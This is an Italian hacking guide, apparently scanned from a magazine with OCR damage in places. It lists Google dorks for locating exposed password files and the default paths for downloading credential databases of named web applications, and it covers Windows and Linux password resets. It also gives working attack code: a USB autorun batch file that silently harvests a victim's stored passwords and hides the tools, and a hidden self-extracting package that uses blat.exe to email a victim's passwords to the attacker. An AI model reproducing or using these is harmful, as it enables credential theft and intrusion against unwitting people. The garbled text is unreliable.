GOOGLE: Password e username

Le password — le query d'esempio in Google

"http://*:*@ww" site

filetype:bak inurl:"htaccess|passwd|shadowlht users"

filetype:mdb  inurl:"account|users|admin|admin istrators|
passwd|password"

intitle:"Index of" pwd.db

inurl:admin inurl:backup intitle:index.of

"Index of/" "Parent Directory" "WS _ FTP.ini"
filetype:ini WS _ FTP PAD

ext:pwd inurl:(serviceIauthorsladministtators |users) "#
-FrontPage-"

*kkkN

filetype:sql ("passwd values | "pas-sword val-

ues *kkkN | “paSS ValueS *kkkN )

intitle:index.of trillian.ini

eggdrop filetype:user user
filetype:conf slapd.conf

inurl:"wvdial.conf"  intext:"password

ext:ini eudora.ini

filetype:mdb inurl:users.mdb

le password alla pagina site, me-
morizzate nella forma
"http://usemame password@vww... "
le copie di backup dei file, in
cui si possono trovare le infor-
mazio-ni sui nomi degli utenti e
le password

i file di tipo b, che possono
contenere le informazioni sulle
password

i file pnd adbpossono contenere i
nomi degli utenti e le password
codificate

le directory contenenti nel nome
le parole admire badkup

i file di configurazione del pro-
gramma W& FTRhe possono con-
tenere le password ai server FTP

i file contenenti le password del
programma  Microsoft FrontPage

i file contenenti il codice SQL e
le password aggiunte al database

i file di configurazione dell'instant
messaging  7rillian

i file di configurazione dell'ircbot
Eggdrop

i file di configurazione dell'appli-
cazione QpenlDAP

i file di configurazione del pro-
gramma WV Dial

i file di configurazione del pro-
gramma di posta Fudora

i file Microsoft Access, che pos-
sono contenere le informazioni
sugli account



i siti Web che utilizzano l'applica-
zione Web Wijourmal che nella
configurazione standard permette
di scaricare il file contenente le
password; invece dell'indirizzo di
default Attp://<host>/joumal/ bi-
sogna immettere

http.//<host> fjourralfjournal.mdb

intext:"powered by Web Wiz Journal"

"Powered by DUclassified" -site:duware.com i siti Web che utilizzano le appli-
"Powered by DUcalendar" -site:duware.com cazioni  Dlclassified, DUcalendlar,
"Powered by DUdirectory” -site:duware.com DUdlirectory, DUclassmate, DUdo-
"Powered by DUdlassmate” -site:duware.com wnload, Dlpaypal, DUforuno DU-
"Powered by DUdownload" -site:duware.com picsche nella configurazione stan-
"Powered by DUpaypal" -site:duware.com dard permettono di scari-care il
"Powered by DUforum" -site:duware.com file contenente le password; inve-
intitle:dupics inurl:(add.asp | default.asp | ce dell'indirizzo di default (per
view.asp | voting.asp) -site:duware.com DUdlassified)  http://<host>/dlu-

Classified/bisogna immettere
http.//<host>/duClassified/, priva-
te/duclassified.mab
i siti Web che utilizzano l'applica-
zione BitboardZ,.che nella configu-
razione standard pemmette di sca-
ricare il file contenente le pas-
intext:"BITBOARD v2.0" "BiTSHIFTERS Bulletin Board" sword; invece dellindirizzo di de-
fault Atp.//<host>/fforuny/ fo-
rum.phpbisogna immettere
hitp://<host>/fforum/admin/data_
passwa.dat

“Index of/""Parent Directory” “WS _ FTP.ini "

Oppure

filetype:iniWS _ FTP PWD

€ possibile ottenere una moltitudine di laildati ai quali si € interessati, che per
nostra ignoranza noi stessi forniamo .Un altro geerd I'applicazioneWeb chia-
mata DUclassified, che permette di aggiungere grgkspubblicita nei portali
Internet.

Nella configurazione standard di questo pragna i nomi degli utenti,le pas-
sword ed altri dati sono conservati nel file dusifisd.mdb che si trova nella
sottodirectory _private non protetta dalla lettiBasta allora trovare un portale
che utilizza Duclassifield con l'indirizzo d’eseropi
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http://<host>/duClassified/ e cambiarlo in

http://<host>/duClassified/ _private/duclassified.mdb,

per ottenera questo modo il file con le passwaed’accesso illimitato alle ap-
plicazioni Invece,per trovare i siti che utilizzano I'applicaziotrattata, pud
aiutare la quergeguente fatta in Google:

“Powered by DUclassified” -site:duware.com

(per evitare i risultati riguardanti i siteldproduttore). Una cosa curiosa € che, il
produttore di Duclassified ¢la ditta DUware — haatp altre applicazioni, an-
ch’esse suscettibili ad abusi simili.

E difficile fornire un principio concreto peercare tali dati, perd danno buoni ri-
sultati le combinazioni delle parole account, usadsnin, administrators,pas-
swd, password ecc,con formati di file di tipo .xigt, .doc,.mdb e .pdf. Merita
anche rivolgere I'attenzione alle directory cheteogono nel nome le parole ad-
min,backup o simili:

inurl:admin intitle:index.of .

Obiettivo: Password di pagine Web

filetype:htpasswd htpasswd

Fornisce un lungo elenco di siti che non hannotdei®nte protetto il file htpas-
swd, solitamente utilizzato in ambito Linux/Unixrpggoteggere singole pagine
web con una password e uno username.

Obiettivo: Password di sistemi Linux

intitle:index.of passwd passwd.bak Sempre in ambitix, € un hack per visua-
lizzare i file di password di sistemi operativifile passwd contiene infatti, spes-
so tuttavia in forma criptata, le password deiesistLinux. L'estensione .bak ag-
giunta alla seconda chiave di ricerca cerca dird@pnche le password di bac-
kup.

Obiettivo: Password generiche

filetype:dat "password.dat"

filetype:log inurl:"password.log"

Sono due ricerche che cercano file contenenti paissgeneriche, non create
cioé da una specifica applicazione. L'estensioaeedjeneralmente utilizzata da
programmi Windows per contenere informazioni diesiza, mentre i file .log
sono utilizzati da molti software per le stessalfta. Cambiando le estensioni
con alcune di vostro gradimento si potranno avaohea altre sorprese.
Obiettivo:Password memorizzate inservice.pwddi FrontPage:

ext:pwd inurl:(service | authors | administratarsdrs) “# -FrontPage-”

Obiettivo: Password inpassword.log password.list




Obiettivo: Usernames, passwords, e indirizzo deladabases MySQL nei
file .inc

filetype:inc intext:mysql_connect

Obiettivo: distruggere i forum phpBB

ext:php _intext:"$dbms™$dbhost™$dbuser$dbpassiigtable prefix’ph-

pbb_installed”

Google Hacking e Guida all’'uso — Parte Prima

Eccoci arrivati alla parte interessante di quesitag parte relativa al google
hacking: la pratica.

Ricavare informazioni sensibili su un dato sito

La prima cosa che possiamo fare con un motoreeliga come questo, € quello
di cercare all'interno di un sito un dato file, wiata cartella, un dato testo o una
qualsiasi cosa ci possa interessare utilizzandopgiatori avanzati.

Il primo esempio che possiamo fare € quello dirdaee tutto quello che c'e su
un sito.

Es: cerchiamdSite: unina.it “

Avremo come risultato , una ricerca di tutte leipagpresenti su google del sito
UNINA.IT.

Adesso, proviamo a ricercare un tipo di file sugjaesito.

Modificando ulteriormente la stringa con :

Site: unina.it filetype:doc

avremo come risultato i file doc presenti nel sitina.it Ovviamente questo ci
fa pensare, in quanto se modifichiamo le parolldalerca possiamo cercare
all'interno di un sito un determinato file (che pe@gntenere password o informa-
zioni riservate).

Es:

Supponiamo di prendere in considerazione i sitv@nienti dall’italia e cerchia-
mo i file .pwd (file di password tipicamente di wiows):

site:it filetype:pwd

Ci ritroveremo un risultato impressionante di sithe danno libero accesso ai
loro FILE DI PASSWORD !

| File con estensione .pwd sono nel formato “normetg:password” dove la pas-
sword e criptata. Anche se & protetta la possianstelsso cracckare con dei tool
da sempre presenti su internet. Ma di questo rlerparo in seguito. Ovviamen-
te la ricerca la possiamo estendere ai siti dé tigtihazionalita inserendo dopo
I'operatore site un uk, jp, com, it, net, gov etc...

Oltre a trovare un determinato tipo di file (in gtecaso abbiamo fatto un esem-
pio con i file PWD, contenenti informazioni risetgagu nomi utente e
password), possiamo trovare anche interi listatiadielle con una particolare
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stringa. Spesso un amministratore inserisce quigstali listati pubblicamente
per gli utenti, in modo tale che questi possandgazae facilmente all'interno
delle cartelle scelte dal’amministratore.

Purtroppo spesso molti amministratori dimenticansettare bene i permessi ad
alcune cartelle e un attaccante puo facilmenteatmintere cartelle riservate,
magari che contengono password o database comiafawni sensibili.

Google Hacking e Guida alluso — Parte seconda

Approfondimento alle GoogleDorks e una particolata che vi dimostrera
come accedere a delle password private.

Ci sono svariati modi per prelevare password graZimogle, ve ne ho dato lar-
go esempio e potete sempre trovare altre stringineagne delle nuove per testa-
re la sicurezza del web. Di seguito vi elenchena gerie di opzioni da poter uti-
lizzare nella ricerca password:

intitle:"Index of” master.passwd

Con questa ricerca avremo i file Master Passworplodier leggere. Questi file
sono di un importanza maggiore rispetto ad unfaeswd o Shadow in quanto
contiene , appunto, le MASTER password, le chiatitio il sito. Spesso anche
in questo file le password non saranno quelle vere.

Le password dei Psy-Bnc
filetype:conf inurl:psybnc.conf “USER.PASS="

Password criptate del famoso trillian
intitle:"index of” trillian.ini

Sempre per quanto riguarda le password abbiame gambinazioni da provare.
Le password le possiamo trovare anche in archivdatabase, in file.

Esempi:intitle:"Index of” “.htpasswd” htpasswd.bak

Con questo , cercheremo la directory chiamata &ddpd” che contenga il file
htpasswd.bak (file in cui possiamo trovare passwoipitate facilmente craccka-
bili).Dopo la ricerca, avremo molti risultati eatiando si qualcuno e cliccando
ancora sul file Htpasswd, potremo avere davantilisteasimile:

TWikiGuest:

BartMassey:

AndrewGreenberg:



MickThomure:

TedHavelka:hpf8d.jR4TSXY

DonWolfe:A40ex7qv2rFow

Nelle ultime due righe vediamo i nomiutente e Isgveord in modo criptato.
password.Per quanto riguarda le password di Frgatpassiamo usare la se-
guente espressione:

ext:pwd inurl:(service | authors | administratausdrs) “# -FrontPage-”
cosi’andremo a ricercare i file password conterednieno uno di quei campi.
La password(criptata) in questo caso € visibileharsenza aprire il file. Questo
non & l'unico metodo per trovare le password difiage, ma € uno dei piu velo-
ci e validi, un alternativa sarebbe quella di cexddile .pwd che spesso, sono
associati a fronpage (in quanto estenzione passsiavihdows, e pochi pro-
grammi usano questo tipo di file, uno dei quefliagnpage).

I metodi piu semplici di ricerca password sono:

inurl:passlist.txt

inurl:password.txt

inurl:pass.txt

inurl:pwd.txt

con questa stringa ricercheremo tutti i file . Tspp€sso qualcuno chiama il file
delle password con questi semplici nomi, ingarifd#b che sono alla portata di
tutti).

Ovviamente le password le possiamo trovare anchiimi archivi (es: mdb).
Quindi possiamo cercare alcuni file Mdb per trovdedie pwd nel loro interno.-
Possiamo cercare:

allinurl: admin mdb

inurl:admin.mdb filetype:mdb

inurl:password filetype:mdb



Per quanto riguarda i file contenenti passwordstjymssono essere trovati
sempre grazie a Google. Infatti se noi sappiammdjualche file che contenga
password lo possiamo ricercare attraverso quesgicmanotore di ricerca. Nel
caso citato precedentemente, noi andiamo a rieefitaMdb, ma possiamo be-
nissimo cercare moltissimi tipi di fili, come quetILS (Excel), i quali possono
contenere interi archivi di password (se siamaufwati.. mooolto fortunati).

Non c’e limite nella ricerca di un qualsiasi fileyato, basta solo sapere qual’e il
file e ricercarlo, niente di pit semplice.

I File_ delle passvyord li possiamo trovare ancheairielle di backup che possia-
Mo ricercare cosi'’:

inurl:backup intitle:index.of inurl:admin

Approfondimento alle GoogleDorks

Eccovi una lista di GoogleDorks

allinurl: admin mdb (Password all'interno di fileIMB)

inurl:admin.mdb filetype:mdb (Password all'interdidfile MDB)

inurl:password filetype:mdb (Password all'interridileé MDB)

inurl:passlist.txt (Password all'interno di file @isto)

inurl:password.txt (Password all’interno di filetdisto)

inurl:pass.txt (Password all'interno di file dites

inurl:pwd.txt (Password all'interno di file di test
“login: *" “password= *" filetype:xls (Password ifile XLS)

intitle:"Index of” spwd.db passwd -pam.conf (Passeivoei file conf e db)

inurl:config.php dbuname dbpass (file di configioaz di un database da php)

RECUPERO PASSWORD
Trinity Rescue Kit



In pratica altro non & che udstribuzione Linux gratuita progettata esclusi-
vamente per le operazioni di ripristino su macchinaVindows o Linux, basa-
ta interamente su linea di comando, eccezion fettalcuni strumenti come
gtparted, links, Partition Image e Midnight Commend

Potete bootare TRK seguendo 3 strade:

* Come CD di Boot che potete masterizzare dal fil@ $8aricabile.
« Da una periferica USB esterna

e Dalla rete tramite Preboot Execution EnvironmeXER, modificando
alcune impostazioni di rete.

Il metodo piu semplice e sbrigativo € il primo limiando un CD di boot che sa-
rebbe sempre bene tenere a portata di mano. Vediame procedere:

una volta avviato il computer e inserito il cd $araccolti dal messaggidVel-
come to Trinity” che indica che la procedura € andata a buon fine.

A questo punto dovete utilizzare il comandimpass -Iche vi mostrera tutti gli
username del sistema.

Il comandowinpass -u(seguito dal nome utente di cui si desidera raseth
password eswinpass -u maripvi dara accesso ad una serie di opzioni, prima di
procedere assicuratevi di aver premuto il tastdldNrichiesta di disattivazioni
del Syskey

Adesso vi troverete di fronte 3 possibilita.

1. Rimuovere la password per I'utente selezionato
2. Impostare una nuova password
3. Rendere 'utente selezionato amministratore id&ima

Scegliete I'opzione che piu vi aggrada per accedaoyamente al vostro ac-
count Windows.

Ricordate che avete sempre a che fare con unéd@tne Linux, quindi qua-
lunque operazione vogliate effettuare prestateatiei ai nomi dei Drive, che
non saranno come in Windows C, D, E etc ma HDA, HBBC seguiti dal nu-
mero della partizione.

Ad esempio HDAL1 indica la prima partizione del pritdard Disk, che di solito
e il percorso in cui é installato Windows, mentf@E2 indica la seconda parti-
zione sul terzo Hard Disk.

Windows XP: come resettare le password con il disco
d’installazione delistema




Effettuare ilboot dal disco d'installazionedi XP;

Premere il tast&8 per accettare le condizioni di utilizzo del sisteem
Scegliere I'opzione relativa abristino del sistema;

Premere il tast® per avviare il processo di riparazione del sistema
Attendere ilriavvio del computer;

Al ritorno nella fase d’installazione Windows XP, premere la combi-
nazione di tastBhift+F10 non appena viene visualizzata la scritta “
stallazione dispositiVinella parte bassa dello schermo;

Attendere che compaiaptompt dei comandi,
Digitare il comandausmgr.cpl e premere il tastvio.

oahwnNE

© N

A questo punto, si aprira il pannello di contradlegli account utente.
Da quest’ultimo, potreteesettare le password di Windows Xmella
maniera piu semplice e veloce di questo mondo.

Windows 7: utilizziamo il DVD di installazione.

La procedura funziona anche con Vista. Per prinsa @oseriamo il disco col si-
stema operativo ed effettuiamo il boot dal driviicotProseguiamo nelle varie
schermate come se dovessimo installare nuovameantioWs.Giunti alla fine-
stra Installa, cicchiamo sulla voce Ripristinadhgputer. Attendiamo qualche se-
condo perché venga rilevato I'OS presente sul Blgz®niamolo e clicchiamo
su Avanti.

METTIAMO MANO AL REGISTRO

Clicchiamo sull'opzione Prompt dei comandi,digit@ihcomando regedit e pre-
miamo Invio.Questo ci permettera di avviare I'eddel registro di sistema. Sele-
zioniamo la chiave HKEY_LOCAL_MAGHINE. Andiamo, qudi, in File e
clicchiamo su Carica hive.

UNA CHIAVE TUTTA NUOVA

Andiamo in C:\Windows\System32\config, selezioniaiffde SYSTEM e fac-
ciamo Apri. Diamo alla nuova chiave un nome qualdiael nostro caso reset].
Selezioniamo ora HKEY_LOCAL_MACHINE\reset\Setupiachiamo due vol-
te sulla chiave SetupType e assegniamogli il vaZore

Clicchiamo due volte sulla chiave CmdLine e assagoigli il valore cmd.exe.
Selezioniamo la chiave HKEY_LOCAL_MACHINE\resethcddiamo nel menu
File e clicchiamo su Scarica hive.Torniamo alla$itna degli strumenti di recu-
perodi Windows e clicchiamo su Riavvia.



SCEGLIAMO LA PASSWORD NUOVA

Al riawio & mostrato il Prompt dei comandi.Digitiamel user seguito dal nome
utente e dalla password da impostare [nel nosBo pat user Giovanni pluto).
Se il nome utente & composto da piu parole va nasclira virgolette. Premiamo
Invio, digitiamo exit e premiamo nuovamente Invio.

Guida: Linux, come resettare le password

Le cause che portano un qualsiasi uterdereenticare la password utile ad ac-
cedere abistema operativodel proprio PC, possono essere molteplici; irestall
zione frettolosa del SO (associata magari all’imsento di ungpassworda ca-
saccio), perdita di appunti ad essa relativi, vubitmemoria, e tante altre.

Il problema, ovviamente, non affligge solo gli uidNindows, ma anche tutti
quelli che prediligono altri sistemi, ad esembinux, per il quale esiste una
procedura estremamente semplice che consen¢satiare le passwordInfatti,
basta avviare la propria distronmodalita singolo utente seguendo una delle
procedure che trovate qui sotto, ed il gioco @fdrovare per credere!
Metodo 1:

1. Riawviare il computer;

2. Premere il tastESC mentreGRUB si carica; Selezionare la vorsco-
very mode, per poi premere il tas® della tastiera ed accedere in
modalita singolo utente.
Metodo 2:

1. Evidenziare I'opzione relativa al normale boot delistro Linux in uti-
lizzo, per poi premere il tast della tastiera e modificarla;

2. Evidenziare la riga che inizia céernel, per poi premere il tas® del-
la tastiera e modificarla;

3. Allafine della riga, aggiungere il valosingle

4. Premere prima il tastieturn della tastiera (per salvare le modifiche ef-
fettuate) e poi quell® (per effettuare il boot).

A questo punto, una volta entrati nel sistema, exmorrera fare altro che sfrutta-
re il comandgasswd(oppurepasswd nome utentgse la parola chiave persa
non riguarda 'utente root) dal terminale e riaveiéa macchina per salvare le
modifiche effettuate.

Come resettare o scoprire la password del BIOS
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A volte pud essere necessaggettare la password del BIOSAd esempio, il
primo che mi viene in mente, quansiosuole reinstallare Windowsed € neces-
sario reimpostare le priorita di boot. Il metode¢endo me, pit semplice per re-
settare questa password & quelltodiiere il cavo che collega I'alimentatore
alla corrente e rimuovere per 30 minuti la batteriadalla scheda madre

Ma se non abbiamo la possibilita di accedere alvsare del computer esistono
varie soluzioni software. Fordeool piu popolare per decriptare la password
del BIOS € CmosPwd

Questo funziona egregiamente con i seguenti BIGZER/IBM BIOS, AMI
BIOS, AMI WinBIOS 2.5, Award 4.5x/4.6x/6.0, CompétP92), Compaq (nuo-
ve versioni), IBM (PS/2, Activa, Thinkpad), Packa&ll, Phoenix 1.00.09.ACO
(1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02,.9406 rev 1.13.1107, Phoe-
nix 4 release 6 (User), Gateway Solo — Phoeniwdt8ione 6, Toshiba e Zenith
AMI.

Come cambiare la password di un utente tramit@ lti€omando
in Windows

Siete degli amministratori di Windows con piu aatt\Vi siete dimenticati la
password di uno di questi accourk Se avete i poteri da amministratore potete
cambiare la password dalla linea di comanddPer aprirla innanzitutto clic-
chiamo su Start-Esegui-digitianaond e premiamo enter.

Nella schermata della shell, scriviamet user avremo cosi una lista di tutti gli
account Windows presenti nel computer. Cambiapasword & veramente
semplice, poniamo che I'account del quale vogliaesettare la password si
chiamaGeek (un nome a caso) e la password che vogliamo iramsgeekissi-
mo, bastera semplicemente inserire questo comaredaiser geek geekissimo

e premere enter, avremo il messaggio che I'opemaziostata effettuata con suc-
cesso, se appunto tutto & andato per il megliol@naova password € attivee
possiamo di nuovo loggarci nel nostro account. Magan di questo trucchetto
non sara felice la nostra ragazza, dato che agessiamo spulciare per bene il
suo account, perd almeno andremo a letto piu o ranquilli. Personalmente
penso che questo trucchetto renda praticamentieitautlivisone del pc in ac-
count con tanto di password per la privacy.

Collegarsi a Windows automaticamente senza dowsyjliece
utente emmettere password
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Oggi vedremo come fare in modo che su di un pcvlondows XPinstallato e
diversi account all'avvio il SO sappia gia a quale utente collsgaenza co-
stringerci ad essere presenti quando si avvia il agputer. Windows XP effet-
tua automaticamente il log sul desktop se & presaiamente un utente, non
protetto da password.Ma spesso anche per utilizdev@e applicazioni € neces-
sario aggiungere ulteriori account, in questo mpei® all'avvio sara mostrato
un box dovescegliere con quale utente collegarsi a Window€ome detto con
un paio di passaggi vi faro vedere conuwomatizzare questa schermata in
modo chewindows sappia gia a quale account collegarsDvviamente atti-
vando questo trickutti potranno accedere a Windows con tanti salutalla
nostra privacy, ergo sconsiglio di utilizzare questo metodo sglpe possono
essere utilizzati da persone non fidate. Ma adesdimmo cosa fare.
Innanzitutto premiamo WIN+R per avviare Esegui. riviamocontrol user-
passwords2e diamo I'Ok. Assicuriamoci che la caselRer utilizzare questo
computer & necessario che l'utente immetta il nerfegepassworlsia senza
spunta, e clicchiamo su Applic&pparira una finestra nella quale dovremo in-
serire la password delllAmministratore, che soléate consiste nel lasciare lo
spazio bianco. Ovviamente se vogliapwiremo cambiare I'account con il
quale collegarci Diamo 'Ok due volte. Et voila d’ora in avamiindows si col-
leghera da solo

Craccare lgpassword di Windowsa ormai un gioco da ragazzi. Addirittura
conKon-Booteé possibile loggarsi in qualsiasi Linux o Windoaggyirando il

meccanismo di autenticazione. Tutto questo a httosi abbia accesso fisico
alla macchina.

Come Prelevare le Password da Windows

CON LAPOSTAE | CLIENT VOIP BASTA POCO

Grazie ad alcuni tool possiamo recuperare facilménpassword degli account
di posta memorizzate sul PC,del programma di messtazp e quelle utilizzate
per loggarci ai servizi Web salvate sul browser

NON SOLO OUTLOOK

Le password degli account di posta elettronicaigandti sui vari client sono ce-
late attraverso i soliti asterischi e diventa ingioie leggerle.

ConMail PassViewpero basta davvero poco per recuperarle. Bastapsitare
I'archivio compresso sul PC e fare doppio clicfdalmailpv.exe. Riesce a re-
cuperare le password degli account di Outlook dirattfi.

RIMANI IN CONTATTO CON GLI AMICI
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ConMessenPasg possibile risalire alla user e alla passwordsthailizza con i
programmi di messaggistica. Supporta Windows Meagesen

Windows Live Messenger, Yahoo Messenger (versionahd 6.x), Google Tal
Lite 4.X/5.X/2003, AOL Instant Messenger, A1LM. AlRto, Trillian, Trillian,
Miranda, GAIM/Pidgin, MySpace IM, PaltalkScene e§by.

SE LA PASSWORD E' NEL BROWSER

Per comodita molti preferiscono memorizzare lespasd nel browser per non
doverle reinserire ogni volta. Se utilizziamo Firebasta ricorrere al programma
gratuito PasswordFox.

SOLUZIONE PER INTERNET EXPLORER

Anche chi utilizza il browser di Windows puo facémte recuperare le password
salvate e dimenticate sfruttando l'applicazioneéuita Internet Explorer Pass-
word Recovery

PER CHI NAVIGA ALTERNATIVO

Per gli altri browser esistono altri tool. Per GlmoGhrome, ad esempio,

si pud usare ChromePasswordDecryptor. Con Operag@minvece, c'é
l'alternativa OperaPasswordDecryptor. E bene faemzione perché molti di
questi programmi potrebbero essere rilevati daivsok antivirus come perico-
losi. Si tratta, pero, di falsi positivi e non ddémmo preoccuparci.

SVELA GLI ASTERISCHI
Ci si puo servire di un programma gratusterisk Key. Basta awviarlo e,
quando il campo con la password € visualizzatanpre il linkrecover.

USB KEY: il cavallo di Troia

LA CHIAVE USB PUO DIVENTARE UNA SORTA DI "CAVALLO D
TROIA" PER ENTRARE IN UN COMPUTER E RECUPERARE LE
PASSWORD CONTENUTE IN MODO PIU O MENO LECITO.
Basta munirsi di una normale chiave USB e progrartana

Nella cartellaPasswordRecoveryTooli sono i seguenti tool:

MessenPassRecupera le password dei piu popolari programmieksaggistica
istantanea: MSN Messenger, Windows Messenger, Yetessenger, ICQ,AOL
Instant Messenger fornito con Netscape7, TrilliairaMda e GAIM.

Mail PassView: Recupera le password dei seguenti programmi e-@atlook
Express, Microsoft Outlook 2000 (solo account POBBHP), Microsoft
Outlook 2002/2003 (POP3, IMAP, HTTP e SMTPAccountsgrediMail,
Eudora, Netscape Mail, Mozilla Thunderbird,GroupilNfaee. Mail PassView
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inoltre consente di recuperare le password di attadiyposta elettronica di tipo
Web-mail (Hotmail, Yahoo!, Gmail), se si utilizzapoogrammi associati con
questi account.

IE PassView € una piccola utility che rivela le password mezgate dal
browser Internet Explorer. Supporta il nuovo In&rExplorer 7.0, cosi come le
vecchie versioni di Internet Explorer 4.0 - 6.0

Protected Storage PassViewRecupera tutte le password memorizzate
all'interno del Archiviazione protetta, compresaéssword di completamento
automatico di Internet Explorer, le password deipsdtetti da password, le
password di MSN Explorer, e molti altri...

Dialupass: strumento di recupero della password che riveta tatpassword
memorizzate nella configurazione dial-up (IntemebnnessioniVPN). A
differenza di molti altri strumenti, questo strurtefunziona in tutte le versioni
di Windows, compreso Windows 2000 e Windows XP.

Asterisk Legger: Recupera le password memorizzate sotto forma elffigshi
(****). E possibile utilizzare questo strumento peicuperare le password di
molte applicazioni, come CuteFTP, CoffeeCup FreB, WNC, e molti altri
ancora...

AsterWin IE : rivela le password memorizzate sotto forma dérdsthi nelle
pagine web di Internet Explorer 5.0 e superiorisiLpud utilizzare per
recuperare una password dimenticata di un sito s&Rk, memorizzato sul
computer. Il codice sorgente in Visual Basic éusol

Network Password Recoveryrecupera le password di rete memorizzate dal
sistema operativo Windows XP.

SniffPass Password Sniffercattura le password che passano attraverso la
scheda di rete che possono essere visualizzatesshiermo immediatamente.

PstPassword recupera le password dei file PST di Outlook.

PasswordFox € un piccolo strumento di recupero password enmette di
visualizzare i nomi utente e password memorizzatbdowser Mozilla Firefox.
Per impostazione predefinita, PasswordFox mostpadsword memorizzate nel
profilo corrente, ma si puo facilmente impostareyselere le password di
qualsiasi altro profilo di Firefox.

ChromePass:é un strumento di recupero password che permettisuhlizzare
i nomi utente e le password memorizzate da Goobter@e.

OperaPassView:é uno strumento di recupero password che decifi@nilenuto
del file di password wand.dat del browser Oper&sealizza l'elenco di tutte le
password dei siti web memorizzate in questo file.
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WirelessKeyView: recupera tutte le chiavi di rete wireless (WEP /\}WPA
memorizzate nel Wireless Zero Configuration Serdicé/indows XP e da
WLAN AutoConfig di Windows Vista,

Remote Desktop PassViewe una utility che rivela le password memorizzate
dall'utility Microsoft Remote Desktop Connectiofliaterno dei file. Rdp.

VNCPassView:recupera le password memorizzate dallo strumentiNdl. E'
possibile recuperare 2 di password: password mewaid per |'attuale utente
connesso (HKEY_CURRENT_USER nel Registro di sisdg e la password
memorizzata per tutti gli utenti.

RemotePocketAsterisk:rivela la password memorizzate sotto forma di
asterischi nei dispositivi Pocket PC.

Non bisogna evidentemente scaricali tutti ma saolgllgche fanno al caso
vostro, in pratica occorre scaricare solo il sofeniinalizzato allo scopo. Dopo
aver scaricato i pacchetti con i programmi per pecare le password, occorre
estrarli nella cartella Chiavetta. In questa chrtieisogna lasciare solo i
programmi, tutto il resto, file guide e readme, Magancellati. Quindi bisogna
scaricare e installare l'ultima versione Winrar altiphé selezionate
C:/Programmi/WIinRAR,copiate ed incollate il program Rar.exe nella cartella
del desktop Chiavetta.

Adesso bisogna scrivere il codice vero e propriso@na aprire il Blocco note,
oppure un editor di testo, come TextEdit in amlddviac, che non "inquini’le
righe di codice con tag che ne possano compromaéttemzionamento.

Occorre scrivere la seguente riga per ogni prograrine recupera le password
inserito nella cartella Chiavetta :

@nomedelprogramma.exe /sverhtml nomedelprogramnmalht
Esempio:

@mspass.exe /sverhtml mspass.htmi
@MailPass.exe /sverhtml MailPass.html

Rem Scrittura

@echo COMPUTERNAME = %COMPUTERNAME% > log.txt
@echo USERNAME = %USERNAME% >> log.txt

@echo USERDOMAIN = %USERDOMAIN% >> log.txt
@echo USERPROFILE = %USERPROFILE% >> log.txt
@echo. >> log.txt

@echo Oggi €’ %DATE% e sono le %TIME% >> log.txt



REM Compressione
@rar.exe a -pPASSWORD backup_%random%.rar *.htgntto>
nul

REM Eliminazione e celamento dei file usati
@del *.html

@del log.txt

@attrib +h *.exe

@attrib +h autorun.inf

Con queste righe di codice le password verranngpesate dal computer e
salvate in diversi file .HTML Gli HTML vengono ing# in un archivio .RAR
protetto da password. La password dell'archivicedeasere specificata al posto
della parola PASSWORD.La password € di tipo cassitee fa quindi
differenza se le lettere vengono digitate in madlso minuscolo. Al termine i
programmi utilizzati per recuperare le passwordyegi nascosti e le pagine
HTML eliminate, perché gia inserite nell'archiviRAR.

Alla fine, basta salvare il file con il nome lantiat:

Selezionare File/Salva file con nome... e, netiadtra che si apre, scrivere
lancia.bat in Nome file. Il file deve essere sadva¢lla Chiavetta. Dopo aver
creato il file lancia.bat, va creato il file autarinf sempre con il Blocco note o
un editor di testo simile.

[autorun]

open=lancia.bat

action=Preleva password

A questo punto il lavoro é terminato. Basta coptatg i file:
autorun.info

landa.bat

Applicazione (o applicazioni) password presceltaex
Rar.exe

nella cartella principale della chiavetta USB. $ete fare delle prove, dopo
aver copiato i file, estraete ed inserite la chitaé/erra una finestra da cui
possibile selezionare Preleva password

Basta cliccare sul tasto OK e le password del egenprerranno salvate
all'interno dell'archivio protetto .RAR. Ora le pasrd potranno essere lette su
qualsiasi computer con Winrar installato.
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ATTRAVERSO E-MAIL:

Questo invece € un metodo funzionante, perché hésoyiare un e-mail alla
vittima, e quest' ultima se aprira un file all'ime di un rar che ¢ allegato all'e-
mail, subito il suo pc (di nascosto) inviera a ma seconda e-mail, la quale mi
dira tutte le password della vittima...[ premesspiu facile a dirsi che a farsi |

"prelevare le password di un pc attraverso un' e-m#"

Per quanto riguarda questo tipo di applicazionefolamola cosi) che andremo
a creare, useremo:"mspass";"mailpv";"blat.exe"xpiiess (non bisogna
scaricarlo, ma per accedervi bisogna andare suRSYASEGUNEXPRESS").
Scaricati questi programmi bisogna compilare unit;

Prima di tutto cid occorre:

1.creare una cartella sul desktop,(lasciamo int@iiamome standard tanto &
uguale)

2.inserire nella cartella:"mspass.exe”,"mailpv.¢idat.exe e il file.bat che
andremo a creare.

3.creare, quindi compilare il file.bat (identicapedimento di prima, cambiando
i comandi, e mettendo questi presenti qui sotto):

@echo off

@mspass.exe /stext hktx.txt
@mailpv.exe /stext hktx.txt
cls

@copy "blat.exe" "C:\Windows\System32\blat.exe"

@blat -install out.alice.it -ttua_e-mail@dominio.it/com

@blat hktx.txt -tatua_e-mail@dominio.it/cormsubject "nome e-
mail"

@del *.txt

end

ATTENZIONE! "Sostituire i campi di testtua_e-mail@dominio.it/com
mettendo effettivamente la vostra e-mail. Consiigliareare un account google,
come gmail..perché il comando dos accetta solousteamn server alice.."

4.salvare il file nella cartella <nomefile>.bat

5.Creare il file autoestraente con iexpres{START\ESEGUNEXPRESS)
e seguire passo passo questo procedimento:

- Cliccare avanti fino a quando dovrete inserirarincampo di testo il nome del
"Package".
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-Cliccare avanti fino a quando dovrete aggiungdite della cartella creata,

per tanto bisogna cliccare sul tasto "add", quindicare il percorso dei file e
selezionarli, dopo di che cliccare sul tasto "apri”

- Cliccando avanti ora, bisogna indicare nel primenu a tendina (con la voce
"install program")il file che I' applicazione dovianciare. Quindi selezionare il
file .bat e cliccare avanti.

-Selezionare la voce Hidden, per un procedimenssosio (in modo tale che
non venga visualizzata la schermata del prompta®iandi all'avviarsi del
file .bat); Quindi cliccare su avanti.

-Cliccare avanti, fino a quando non dovrete insafinome del file, ed indicare
cosi il percorso del file creato. Cliccare sullzedhide file extracting progress
ecc.."

-Cliccare su "Browse" per salvare il file, (scrigeknome ovviamente)quindi
cliccare su salva;

-Cliccare su avanti e selezionare la voce "No réstguindi cliccare avanti 3
volte e infine cliccare su "Fine".

6.Adesso bastera archiviare in un rar il file cresgoga il file .txt), ed inviarlo
